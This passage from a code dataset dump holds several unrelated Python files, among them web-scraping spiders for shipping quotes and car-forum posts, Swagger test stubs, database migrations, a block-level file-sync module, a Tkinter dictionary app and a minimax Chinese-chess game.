'AngleDM'}})\n","sub_path":"folder/code/toolsbox/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":7250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"121730328","text":"# -*- coding: utf-8 -*-\nimport re\nimport json\nimport os.path\nimport xlrd\nfrom copy import deepcopy\n\nfrom scrapy import Spider\nfrom scrapy.http import Request, FormRequest\n\nfrom product_spiders.items import Product, ProductLoader\nfrom utils import extract_brand\n\nHERE = os.path.abspath(os.path.dirname(__file__))\n\n\nclass UpsToday(Spider):\n name = \"transglobalexpress-upstoday.com\"\n allowed_domains = ('upstoday.com',)\n\n handle_httpstatus_list = [301, 302]\n\n start_urls = ['https://www.upstoday.com']\n\n destinations = []\n weights = {}\n\n def __init__(self, *args, **kwargs):\n super(UpsToday, self).__init__(*args, **kwargs)\n\n tge_file = os.path.join(HERE, 'transglobalexpress_products.xlsx')\n wb = xlrd.open_workbook(tge_file)\n sh = wb.sheet_by_index(0)\n\n for rownum in xrange(sh.nrows):\n if rownum < 16:\n continue\n\n row = sh.row(rownum)\n if row[4].value:\n self.weights[row[4].value] = int(row[3].value) if row[3].value else 0\n\n self.destinations = ['UK - Mainland', 'Netherlands', 'Germany', 'Spain', 'Denmark', 'Poland', 'Romania', 'USA',\n 'Australia', 'China', 'United Arab Emirates', 'Brazil']\n\n def parse(self, response):\n data_quotes = []\n url = 'https://www.upstoday.com/ship?col=219&dest=%s&p=%s~%s|10|10|10#/results'\n for destination in self.destinations:\n try:\n delivery_country = re.findall('Id":(\\d+),"Display":"%s' % destination, response.body)[0]\n except IndexError:\n continue\n body = {'DeliveryTown': None, 'RequiresCommercialInvoice': True, 'CollectionPostcode': None,\n 'DeliveryPostcode': None, 'CollectionTown': None, 'CollectionDate': None,\n 'DeliveryCountry': delivery_country, 'CurrencyCode': 'GBP', 'CollectionCountry': 219,\n 'Parcels': []}\n for weight, parcel in self.weights.iteritems():\n if parcel:\n body = {'DeliveryTown': None, 'RequiresCommercialInvoice': True, 'CollectionPostcode': None,\n 'DeliveryPostcode': None, 'CollectionTown': None, 'CollectionDate': None,\n 'DeliveryCountry': delivery_country, 'CurrencyCode': 'GBP', 'CollectionCountry': 219,\n 'Parcels': []}\n if weight >= 60:\n parcel += 1\n\n final_weight = round(weight / float(parcel), 2)\n for i in range(parcel):\n parcel_data = {'Width': 10, 'Length': 10, 'Weight': final_weight, 'Height': 10}\n body['Parcels'].append(parcel_data)\n parcel_url = url % (delivery_country, str(parcel), str(final_weight))\n data_quotes.append({'parcel_url': parcel_url, 'body': deepcopy(body), 'destination': destination,\n 'weight': str(weight), 'destination_id': delivery_country})\n else:\n body = {'DeliveryTown': None, 'RequiresCommercialInvoice': True, 'CollectionPostcode': None,\n 'DeliveryPostcode': None, 'CollectionTown': None, 'CollectionDate': None,\n 'DeliveryCountry': delivery_country, 'CurrencyCode': 'GBP', 'CollectionCountry': 219,\n 'Parcels': [{'Width': 10, 'Length': 10, 'Weight': weight, 'Height': 10}]}\n parcel_url = url % (delivery_country, '1', str(weight))\n data_quotes.append({'parcel_url': parcel_url, 'body': deepcopy(body), 'destination': destination,\n 'weight': str(weight), 'destination_id': delivery_country})\n\n meta = {}\n meta['data_quotes'] = data_quotes[1:]\n meta['body'] = data_quotes[0]['body']\n meta['weight'] = data_quotes[0]['weight']\n meta['destination'] = data_quotes[0]['destination']\n meta['destination_id'] = data_quotes[0]['destination_id']\n yield Request(data_quotes[0]['parcel_url'], callback=self.parse_shipments, meta=meta)\n\n def parse_shipments(self, response):\n meta = response.meta\n\n urls = [('https://www.upstoday.com/quotes/api/results/column?isDropOff=False&isDelivery=False', u'Door to Door'),\n ('https://www.upstoday.com/quotes/api/results/column?isDropOff=True&isDelivery=False', u'UPS Access Point™ to Door'),\n ('https://www.upstoday.com/quotes/api/results/column?isDropOff=True&isDelivery=True', u'UPS Access Point™ to UPS Access Point™')]\n\n verification_token = response.xpath('//input[@name=\"__RequestVerificationToken\"]/@value').extract()[0]\n headers = {'Content-Type': 'application/json', 'RequestVerificationToken': verification_token}\n for url, shipping_type in urls:\n meta['shipping_type'] = shipping_type\n meta['url'] = response.url\n yield Request(url, body=json.dumps(meta['body']), headers=headers,\n method='POST', callback=self.parse_products, meta=meta)\n\n def parse_products(self, response):\n json_data = json.loads(response.body)\n products = json_data['Quotes']\n for product in products:\n loader = ProductLoader(Product(), selector=product)\n name = product['Service']['Name']\n weight = str(response.meta['weight'])\n loader.add_value('identifier', product['Service']['ServiceSlug'] + '-' + weight + '-' + response.meta['destination_id'])\n loader.add_value('sku', weight)\n loader.add_value('name', name + ' ' + response.meta['shipping_type'] + ' ' + response.meta['destination'])\n loader.add_value('price', product['SubTotal'])\n loader.add_value('url', response.meta['url'])\n loader.add_value('image_url', '')\n loader.add_value('brand', extract_brand(name))\n loader.add_value('category', response.meta['destination'])\n item = loader.load_item()\n yield item\n\n data_quotes = response.meta.get('data_quotes', None)\n if data_quotes:\n meta = response.meta\n meta['data_quotes'] = data_quotes[1:]\n meta['body'] = data_quotes[0]['body']\n meta['weight'] = data_quotes[0]['weight']\n meta['destination'] = data_quotes[0]['destination']\n meta['destination_id'] = data_quotes[0]['destination_id']\n yield Request(data_quotes[0]['parcel_url'], callback=self.parse_shipments, meta=meta)\n","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/transglobalexpress/upstoday.py","file_name":"upstoday.py","file_ext":"py","file_size_in_byte":6682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"5739619","text":"def is_palindrome_permutation(string):\n odd = 0\n character_counts = count_chars(string)\n for count in character_counts:\n if odd > 1:\n return False\n if count % 2 != 0:\n odd += 1\n return True\n\ndef count_chars(string):\n counts = {}\n for ch in string:\n try:\n counts[ch] += 1\n except:\n counts[ch] = 1\n return counts.values()\n","sub_path":"java/1-arrays-and-string/1.x-pal-perm.py/pal_perm.py","file_name":"pal_perm.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"345959693","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\n\nfrom flask import json\nfrom six import BytesIO\n\nfrom swagger_server.models.analysis_grid_schema import AnalysisGridSchema # noqa: E501\nfrom swagger_server.models.error_model_schema import ErrorModelSchema # noqa: E501\nfrom swagger_server.models.inline_response200 import InlineResponse200 # noqa: E501\nfrom swagger_server.models.inline_response2001 import InlineResponse2001 # noqa: E501\nfrom swagger_server.models.succesfully_created_schema import SuccesfullyCreatedSchema # noqa: E501\nfrom swagger_server.test import BaseTestCase\n\n\nclass TestAnalysisGridController(BaseTestCase):\n \"\"\"AnalysisGridController integration test stubs\"\"\"\n\n def test_analysis_grid_get(self):\n \"\"\"Test case for analysis_grid_get\n\n Get a list of analysis_grid objects\n \"\"\"\n query_string = [('grid_name', 'grid_name_example'),\n ('simulation_status', 'simulation_status_example')]\n response = self.client.open(\n '/api/analysis_grid',\n method='GET',\n query_string=query_string)\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_analysis_grid_post(self):\n \"\"\"Test case for analysis_grid_post\n\n Create a new analysis_grid file\n \"\"\"\n analysis_grid = AnalysisGridSchema()\n response = self.client.open(\n '/api/analysis_grid',\n method='POST',\n data=json.dumps(analysis_grid),\n content_type='application/json')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_analysis_grid_uuid_delete(self):\n \"\"\"Test case for analysis_grid_uuid_delete\n\n Delete an existing analysis_grid file\n \"\"\"\n response = self.client.open(\n '/api/analysis_grid/{uuid}'.format(uuid='uuid_example'),\n method='DELETE')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_analysis_grid_uuid_get(self):\n \"\"\"Test case for analysis_grid_uuid_get\n\n Get an analysis_grid object\n \"\"\"\n response = self.client.open(\n '/api/analysis_grid/{uuid}'.format(uuid='uuid_example'),\n method='GET')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n def test_analysis_grid_uuid_put(self):\n \"\"\"Test case for analysis_grid_uuid_put\n\n Modify an existing analysis_grid file\n \"\"\"\n analysis_grid = AnalysisGridSchema()\n response = self.client.open(\n '/api/analysis_grid/{uuid}'.format(uuid='uuid_example'),\n method='PUT',\n data=json.dumps(analysis_grid),\n content_type='application/json')\n self.assert200(response,\n 'Response body is : ' + response.data.decode('utf-8'))\n\n\nif __name__ == '__main__':\n import unittest\n unittest.main()\n","sub_path":"swagger_server/test/test_analysis_grid_controller.py","file_name":"test_analysis_grid_controller.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"57037550","text":"from tkinter import *\r\nfrom PIL import Image,ImageTk\r\nfrom PyDictionary import PyDictionary\r\nimport pyttsx3\r\nimport time\r\n\r\nroot=Tk()\r\nroot.title(\"Dictionary Application\")\r\nroot.geometry(\"600x600\")\r\nroot.config(bg=\"#8eaa9e\")\r\n\r\ndef meaning():\r\n word_get=word.get()\r\n dictionary=PyDictionary()\r\n answer=dictionary.meaning(word_get)\r\n meaning_text.insert('end',answer)\r\n\r\ndef synonym():\r\n word_get = word.get()\r\n dictionary = PyDictionary()\r\n answer = dictionary.synonym(word_get)\r\n meaning_text.insert('end', answer)\r\ndef antonym():\r\n word_get = word.get()\r\n dictionary = PyDictionary()\r\n answer = dictionary.antonym(word_get)\r\n meaning_text.insert('end', answer)\r\ndef clear():\r\n word.set(\"\")\r\n meaning_text.delete(1.0,'end')\r\ndef audio():\r\n engine = pyttsx3.init()\r\n text = meaning_text.get(\"1.0\",\"end\")\r\n engine.setProperty(\"rate\", 150)\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\n\r\nimg=ImageTk.PhotoImage(Image.open(\"dictionary.png\"))\r\nimg_label=Label(root,image=img,bg=\"#8eaa9e\")\r\nimg_label.place(x=230,y=10)\r\n\r\nword_label=Label(root,text=\"Word\",font=(\"Arial\",13,\"bold\"),fg=\"#ffe37a\",bg=\"#8eaa9e\")\r\nword_label.place(x=100,y=170)\r\nword=StringVar()\r\nword_entry=Entry(root,textvariable=word,font=(\"Arial\",13,\"bold\"),bd=4,bg=\"gray80\")\r\nword_entry.place(x=170,y=170)\r\nantonym_pronounce=Button(root,text=\"Audio\",font=(\"Arial\",13,\"bold\"),bg=\"#ff7c8f\",fg=\"white\",command=audio)\r\nantonym_pronounce.place(x=420,y=170)\r\n\r\nmeaning_text=Text(root,width=40,height=8,bg=\"gray80\",bd=4)\r\nmeaning_text.place(x=100,y=220)\r\n\r\nmeaning_button=Button(root,text=\"Meaning\",font=(\"Arial\",13,\"bold\"),bg=\"#ff7c8f\",fg=\"white\",command=meaning)\r\nmeaning_button.place(x=70,y=420)\r\n\r\nsynonym_button=Button(root,text=\"Synonym\",font=(\"Arial\",13,\"bold\"),bg=\"#ff7c8f\",fg=\"white\",command=synonym)\r\nsynonym_button.place(x=180,y=420)\r\n\r\nantonym_button=Button(root,text=\"Antonym\",font=(\"Arial\",13,\"bold\"),bg=\"#ff7c8f\",fg=\"white\",command=antonym)\r\nantonym_button.place(x=300,y=420)\r\n\r\nclear_button=Button(root,text=\"Clear\",font=(\"Arial\",13,\"bold\"),bg=\"#ff7c8f\",fg=\"white\",command=clear)\r\nclear_button.place(x=420,y=420)\r\n\r\nexit_button=Button(root,text=\"Exit\",font=(\"Arial\",13,\"bold\"),bg=\"#ff7c8f\",fg=\"white\",command=exit)\r\nexit_button.place(x=500,y=420)\r\n\r\n\r\n\r\nroot.mainloop()","sub_path":"Talking dictionary/Talking dictionary.py","file_name":"Talking dictionary.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"200880846","text":"from edi_835_parser.elements import Element\n\n# https://ushik.ahrq.gov/ViewItemDetails?&system=sdo&itemKey=133213000\nreference_qualifiers = {\n\t'6R': 'provider control number',\n\t'0K': 'policy form identifying number',\n\t'PQ': 'payee identification',\n\t'TJ': 'federal taxpayer identification number'\n}\n\n\nclass ReferenceQualifier(Element):\n\n\tdef parser(self, value: str) -> str:\n\t\treturn reference_qualifiers.get(value, value)\n","sub_path":"edi_835_parser/elements/reference_qualifier.py","file_name":"reference_qualifier.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"89468048","text":"\"\"\"\n Copyright 2018 Inmanta\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n Contact: code@inmanta.com\n\"\"\"\n\nimport re\nfrom collections import defaultdict\n\nfrom inmanta.config import Config\nfrom inmanta.plugins import Context, plugin\n\nRECORD_CACHE = {}\n\n\ndef type_to_map(cls):\n type_map = {\"type\": str(cls), \"attributes\": {}, \"options\": {}}\n defaults = cls.get_default_values()\n attribute_options = defaultdict(dict)\n\n attributes = {}\n for name, attr in cls.attributes.items():\n attributes[name] = attr\n\n for parent in cls.get_all_parent_entities():\n if not (parent.name == \"Entity\" and parent.namespace.get_full_name() == \"std\"):\n for name, attr in parent.attributes.items():\n if name not in attributes:\n attributes[name] = attr\n\n for name, attr in attributes.items():\n obj = re.search(\"(.*)__(.*)\", name)\n if name[0] == \"_\" and name in defaults and defaults[name] is not None:\n type_map[\"options\"][name[1:]] = defaults[name].execute(None, None, None)\n\n elif obj:\n attr, opt = obj.groups()\n attribute_options[attr][opt] = defaults[name].execute(None, None, None)\n\n else:\n type_map[\"attributes\"][name] = {\"type\": attr.type.type_string()}\n if name in defaults and defaults[name] is not None:\n type_map[\"attributes\"][name][\"default\"] = defaults[name].execute(\n None, None, None\n )\n\n for attr in attribute_options.keys():\n if attr in type_map[\"attributes\"]:\n type_map[\"attributes\"][attr][\"options\"] = attribute_options[attr]\n if \"modifier\" not in type_map[\"attributes\"][attr][\"options\"]:\n type_map[\"attributes\"][attr][\"options\"][\"modifier\"] = \"rw\"\n\n return type_map\n\n\n@plugin\ndef report(context: Context, name: \"string\", value: \"string\"):\n \"\"\"\n This plugin reports a parameter to the server from the compile process. This can be used for\n `output` like parameter like in HEAT or TOSCA templates.\n\n The dashboard will explicitly show these values as well.\n\n :param name: The name/label of the value\n :param value: The value to report.\n \"\"\"\n env = Config.get(\"config\", \"environment\", None)\n\n if \"inmanta.execute.util.Unknown\" in value:\n return\n\n if env is None:\n raise Exception(\n \"The environment of this model should be configured in config>environment\"\n )\n\n def report_call():\n return context.get_client().set_param(\n tid=env, id=name, value=value, source=\"report\", metadata={\"type\": \"report\"}\n )\n\n return context.run_sync(report_call)\n","sub_path":"plugins/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"407439479","text":"\"\"\"set field settings\n\nRevision ID: 35957019f7a8\nRevises: 417d2e672612\nCreate Date: 2021-01-29 07:56:54.977310\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '35957019f7a8'\ndown_revision = '417d2e672612'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('users', 'is_active',\n existing_type=sa.BOOLEAN(),\n nullable=False)\n op.alter_column('users', 'name',\n existing_type=sa.VARCHAR(),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('users', 'name',\n existing_type=sa.VARCHAR(),\n nullable=True)\n op.alter_column('users', 'is_active',\n existing_type=sa.BOOLEAN(),\n nullable=True)\n # ### end Alembic commands ###\n","sub_path":"API/alembic/versions/35957019f7a8_set_field_settings.py","file_name":"35957019f7a8_set_field_settings.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"51302355","text":"import common\n\n_DEFAULT_BLOCKSIZE = 4096\n\n\n\"\"\"\nReceives a readable stream\nReturns\n\t1 - The total number of blocks,\n\t2 - A dictionary of dictionaries, like so:\n\t{ weakhash : {\n\t\tstronghash1 : [ offset1, offset3, ... ]\n\t\tstronghash2 : [ offset2 ]\n\t\t}\n\t}\nConsider that a weak hash can have several matching strong hashes, and every\n(weak hash, strong hash) block pair can occur on several parts of the file,\nbut we only need one offset for retrieving that block\n\"\"\"\nasync def block_checksums(instream, blocksize=_DEFAULT_BLOCKSIZE):\n\thashes = {}\n\tblock = await instream.read(blocksize)\n\toffset = 0\n\n\twhile block:\n\t\tcommon.populate_block_checksums(block, hashes, offset)\n\t\toffset += blocksize\n\t\tblock = await instream.read(blocksize)\n\n\treturn offset/blocksize, hashes\n\n\n\"\"\"\nUsed by the system with an unpatched file upon receiving a hash blueprint of the patched file\nReceives an aiofiles input stream and set of hashes for a patched file\nReturns:\n\t1 - A list of tuples where the first element is the local offset and the second\n\t is a list of final offsets\n\t [ (0, [352, 368, 384, 400, 416, 432]) ]\n\t2 - A dictionary where each key is a missing block's first offset and the values are\n\t tuples with its (weak, strong, offsets)\n\t 464 : (598213681, b'\\x80\\xfd\\xa7T[\\x1f\\xc3\\xf7\\n\\xf9V\\xe7\\xcb\\xdf3\\xbf', [464, 480]) \nThe blocks needed to request can be obtained with list(remote_instructions.keys())\n\"\"\"\n\n\nasync def get_instructions(datastream, remote_hashes, blocksize=_DEFAULT_BLOCKSIZE):\n\tmatch = True\n\tlocal_offset = -blocksize\n\tlocal_instructions = []\n\n\twhile True:\n\t\tif match and datastream is not None:\n\t\t\t# Whenever there is a match or the loop is running for the first\n\t\t\t# time, populate the window using weakchecksum instead of rolling\n\t\t\t# through every single byte which takes at least twice as long.\n\t\t\tblock = bytearray(await datastream.read(blocksize))\n\t\t\tlocal_offset += blocksize\n\t\t\tchecksum = common.adler32(block)\n\t\t#match = False\n\n\t\tmatch = common.check_block(block, checksum, remote_hashes, local_instructions, local_offset)\n\n\t\tif not match:\n\t\t\t# The current block wasn't matched\n\t\t\tif datastream:\n\t\t\t\ttry:\n\t\t\t\t\t# Get the next byte and affix to the window\n\t\t\t\t\tnewbyte = ord(await datastream.read(1))\n\t\t\t\t\tblock.append(newbyte)\n\t\t\t\texcept TypeError:\n\t\t\t\t\t# No more data from the file; the window will slowly shrink.\n\t\t\t\t\t# \"newbyte\" needs to be zero from here on to keep the checksum correct.\n\t\t\t\t\tnewbyte = 0 # Not necessary to add to the window\n\t\t\t\t\ttailsize = await datastream.tell() % blocksize\n\t\t\t\t\tdatastream = None\n\n\t\t\tif datastream is None and len(block) <= tailsize:\n\t\t\t\t# The likelihood that any blocks will match after this is\n\t\t\t\t# nearly nil so call it quits.\n\t\t\t\tbreak\n\n\t\t\t# Remove the first byte from the window and cheaply calculate\n\t\t\t# the new checksum for it using the previous checksum\n\t\t\toldbyte = block.pop(0)\n\t\t\tlocal_offset += 1\n\t\t\tchecksum = common.adler32_roll(checksum, oldbyte, newbyte, blocksize)\n\n\t# Now put the block offsets in a dictionary where the key is the first offset\n\tremote_instructions = {offsets[0]: (weak, strong, offsets)\n\t\t\t\t\t\t for weak, strongs in remote_hashes.items()\n\t\t\t\t\t\t for strong, offsets in strongs.items()}\n\n\treturn local_instructions, remote_instructions\n\n\n\"\"\"\n! This function is a generator !\nReceives an instream and a list of offsets\nYields the blocks in that instream at those offsets\n\"\"\"\nasync def get_blocks(datastream, requests, blocksize=_DEFAULT_BLOCKSIZE):\n\tfor offset in requests:\n\t\tawait datastream.seek(offset)\n\t\tcontent = await datastream.read(blocksize)\n\t\tyield (offset, content)\n\n\n\"\"\"\nReceives a readable instream, a writable outstream, a list of instructions and a blocksize\nSets outstream to the expected size with the blocks from instream in their positions according to the blueprint\nWARNING: There is a possibility that a local block will overwrite another\nif the instream and outstream are the same. Avoid this by using different streams.\n\"\"\"\nasync def patch_local_blocks(instream, outstream, local_instructions, blocksize=_DEFAULT_BLOCKSIZE):\n\tfor instruction in local_instructions:\n\t\tlocal_offset = instruction[0]\n\t\tfinal_offsets = instruction[1]\n\n\t\tawait instream.seek(local_offset)\n\t\tblock = await instream.read(blocksize)\n\n\t\tfor offset in final_offsets:\n\t\t\tawait outstream.seek(offset)\n\t\t\tawait outstream.write(block)\n\n\n\"\"\"\nReceives a list of tuples of missing blocks in the form (offset, content),\na dictionary with remote instructions (2nd result of get_instructions) and a writable outstream\nSets those those offsets in the outstream to their expected content according to the instructions\nIf check_hashes is set to True, it will also confirm that both the weak and strong hash match the expected\n\"\"\"\nasync def patch_remote_blocks(remote_blocks, outstream, remote_instructions, check_hashes=False):\n\tfor first_offset, block in remote_blocks:\n\t\t# Optionally check if this block's hashes match the expected hashes\n\t\tinstruction = remote_instructions[first_offset]\n\t\tif check_hashes and (common.adler32(block) != instruction[0] or common.stronghash(block) != instruction[1]):\n\t\t\t#print(str(first_offset)+\" had an error:\\n\"+str(common.adler32(block))+\" != \"+str(instruction[0])+\" or \"+str(common.stronghash(block))+\" != \"+str(instruction[1]))\n\t\t\traise Exception\n\t\tfor offset in instruction[2]:\n\t\t\tawait outstream.seek(offset)\n\t\t\tawait outstream.write(block)\n","sub_path":"asynchronous.py","file_name":"asynchronous.py","file_ext":"py","file_size_in_byte":5375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"648722168","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Snippet',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(default=b'', max_length=100, blank=True)),\n ('code', models.TextField()),\n ('linenos', models.BooleanField(default=False)),\n ('language', models.CharField(default=b'python', max_length=100, choices=[(b'java', b'Java')])),\n ('style', models.CharField(default=b'friendly', max_length=100, choices=[(b'autumn', b'autumn'), (b'borland', b'borland'), (b'bw', b'bw'), (b'colorful', b'colorful'), (b'default', b'default'), (b'emacs', b'emacs'), (b'friendly', b'friendly'), (b'fruity', b'fruity'), (b'igor', b'igor'), (b'manni', b'manni'), (b'monokai', b'monokai'), (b'murphy', b'murphy'), (b'native', b'native'), (b'paraiso-dark', b'paraiso-dark'), (b'paraiso-light', b'paraiso-light'), (b'pastie', b'pastie'), (b'perldoc', b'perldoc'), (b'rrt', b'rrt'), (b'tango', b'tango'), (b'trac', b'trac'), (b'vim', b'vim'), (b'vs', b'vs'), (b'xcode', b'xcode')])),\n ('created_on', models.DateTimeField(auto_now_add=True)),\n ('created_by', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n options={\n 'ordering': ('created_on',),\n },\n ),\n ]\n","sub_path":"snippets_java/snippets_java/apps/snippets/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"438856138","text":"# Author: Charles\r\n# 公众号: Charles的皮卡丘\r\n# 爬虫主程序\r\nimport json\r\nfrom scrapy import Spider, Request\r\nfrom autohome.items import AutohomeItem\r\n\r\n\r\nclass mySpider(Spider):\r\n\tname = 'autohome'\r\n\tallowed_domains = ['you.autohome.com.cn/']\r\n\tdef start_requests(self):\r\n\t\tfor page in range(4828):\r\n\t\t\tyield Request('https://you.autohome.com.cn/summary/getsearchresultlist?ps=20&pg={}&type=3&tagCode=&tagName=&sortType=3'.format(page), self.parse)\r\n\tdef parse(self, response):\r\n\t\tresult = json.loads(response.text).get('result').get('hitlist')\r\n\t\titem = AutohomeItem()\r\n\t\tfor page in result:\r\n\t\t\titem['title'] = page.get('title')\r\n\t\t\titem['author'] = page.get('author')\r\n\t\t\titem['authorId'] = page.get('authorId')\r\n\t\t\titem['publishDate'] = page.get('publishDate')\r\n\t\t\titem['updateDate'] = page.get('updateDate')\r\n\t\t\titem['topicId'] = page.get('topicId')\r\n\t\t\titem['viewCount'] = page.get('viewCount')\r\n\t\t\titem['replyCount'] = page.get('replyCount')\r\n\t\t\titem['url'] = 'https://you.autohome.com.cn/' + page.get('url')\r\n\t\t\titem['content'] = page.get('content')\r\n\t\t\tyield item","sub_path":"web/autohome/autohome/spiders/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"625449485","text":"import os.path\nimport sys\nfrom datetime import datetime\nfrom logging import getLogger\nfrom time import sleep\nimport copy\n\nfrom mychess.config import Config\nfrom mychess.environment.env import CChessEnv\nfrom mychess.environment.lookup_tables import Winner\nfrom mychess.play_games.MySQLTool import *\nfrom mychess.play_games.colorAndUIModule import *\nfrom mychess.play_games.tool import *\nfrom ABPruning import *\n\nlogger = getLogger(__name__)\nPIECE_STYLE = 'WOOD'\n\n\ndef start(config: Config):\n pass\n new = minimax(config)\n new.start()\n\nclass minimax():\n def __init__(self, config: Config, dep = 3):\n self.config = config\n self.dept = dep\n self.winstyle = 0\n self.chessmans = None # will be a sprite group\n self.env = CChessEnv()\n # self.history = []\n self.screen_width = 720\n self.height = 577\n self.width = 521\n self.chessman_w = 58\n self.chessman_h = 58\n self.disp_record_num = 30 # the num of records to display # 15\n self.rec_labels = [None] * self.disp_record_num\n self.has_resign = 0\n self.path = None\n\n pass\n\n\n def start(self, human_first=True):\n screen, board_background, widget_background, buttonList = self.init_screen()\n self.env.reset()\n\n self.chessmans = pygame.sprite.Group() # 声明精灵组\n creat_sprite_group(self.chessmans,\n self.env.board.chessmans_hash,\n self.chessman_w,\n self.chessman_h) # 棋盘放置棋子\n pygame.display.update()\n\n # update all the sprites\n self.chessmans.update()\n self.chessmans.draw(screen)\n pygame.display.update()\n framerate = pygame.time.Clock()\n\n # 用于记录当前选中的棋子\n current_chessman = None # 指向的也是chessman sprite\n\n while not self.env.board.is_end() and not self.has_resign:\n if human_first != self.env.red_to_move:\n board = copy.deepcopy(self.env.board)\n base_val, _ = caculate_base_val(board)\n\n val, move = minimax_AB(board, -(1 << 30), (1 << 30), 4, base_val, True)\n x0, y0, x1, y1 = move[0].x, move[0].y, move[1].x, move[1].y\n print('final value', val, f'({x0}, {y0}), ({x1}, {y1})')\n\n current_chessman = select_sprite_from_group(self.chessmans, x0, y0)\n chessman_sprite = select_sprite_from_group(self.chessmans, x1, y1)\n print('minimax result', x0, y0, x1, y1, end='\\t')\n print(current_chessman.chessman.name_cn, current_chessman.chessman.col_num, current_chessman.chessman.row_num, 'value:', val)\n success = current_chessman.move(x1, y1)\n # print(f'old_x:{old_x}, old_y:{old_y}, x:{x}, y:{y}\\t success:{success}')\n if success:\n if chessman_sprite != None:\n self.chessmans.remove(chessman_sprite)\n chessman_sprite.chessman.set_alive(False)\n chessman_sprite.kill()\n print('player to move')\n else:\n logger.error('###########################minimax move did not success')\n # exit()\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.env.board.print_record() # 打印记录\n game_id = datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n self.path = os.path.join(self.config.resource.play_record_dir,\n self.config.resource.play_record_filename_tmpl % game_id)\n self.env.board.save_record(self.path)\n sys.exit()\n elif event.type == MOUSEBUTTONDOWN: # 处理鼠标事件\n if human_first == self.env.red_to_move: # 判断是不是该自己走棋/操作\n pressed_array = pygame.mouse.get_pressed()\n if pressed_array[0]:\n mouse_x, mouse_y = pygame.mouse.get_pos()\n # 处理认输和悔棋\n if buttonList[0].isInRect(mouse_x, mouse_y, self.width):\n logger.info('click withdraw')\n record = self.env.board.record\n if self.env.board.is_red_turn:\n sep = '\\n'\n else:\n sep = '\\t'\n # reset\n self.env.reset()\n self.chessmans.empty()\n creat_sprite_group(self.chessmans,\n self.env.board.chessmans_hash,\n self.chessman_w,\n self.chessman_h) # 棋盘放置棋子\n\n temList = self.env.board.getMoveList(record, sep)\n moveList = []\n for t in temList:\n if t[-1] != '.':\n moveList.append(t)\n\n if len(moveList) == 0:\n break\n cnt = 0\n for move in moveList:\n # if move[-1] == '.':\n # continue\n cnt += 1\n # print(move)\n old_x, old_y, x, y = self.env.board.record_to_move(move, cnt % 2)\n current_chessman = select_sprite_from_group(self.chessmans, old_x, old_y)\n chessman_sprite = select_sprite_from_group(self.chessmans, x, y)\n success = current_chessman.move(x, y)\n # print(f'old_x:{old_x}, old_y:{old_y}, x:{x}, y:{y}\\t success:{success}')\n if success:\n if chessman_sprite != None:\n self.chessmans.remove(chessman_sprite)\n chessman_sprite.chessman.set_alive(False)\n chessman_sprite.kill()\n else:\n logger.error('record to move did not success')\n break\n\n if buttonList[1].isInRect(mouse_x, mouse_y, self.width):\n logger.info('click resign')\n self.has_resign = 1 if self.env.red_to_move else 2\n break\n\n col_num, row_num = translate_hit_area(mouse_x, mouse_y, self.chessman_w, self.chessman_h)\n chessman_sprite = select_sprite_from_group(self.chessmans, col_num, row_num)\n\n if current_chessman is None and chessman_sprite != None: # 从未选中棋子->选中棋子\n # print(f'chessman_sprite.chessman.is_red:{chessman_sprite.chessman.is_red}, 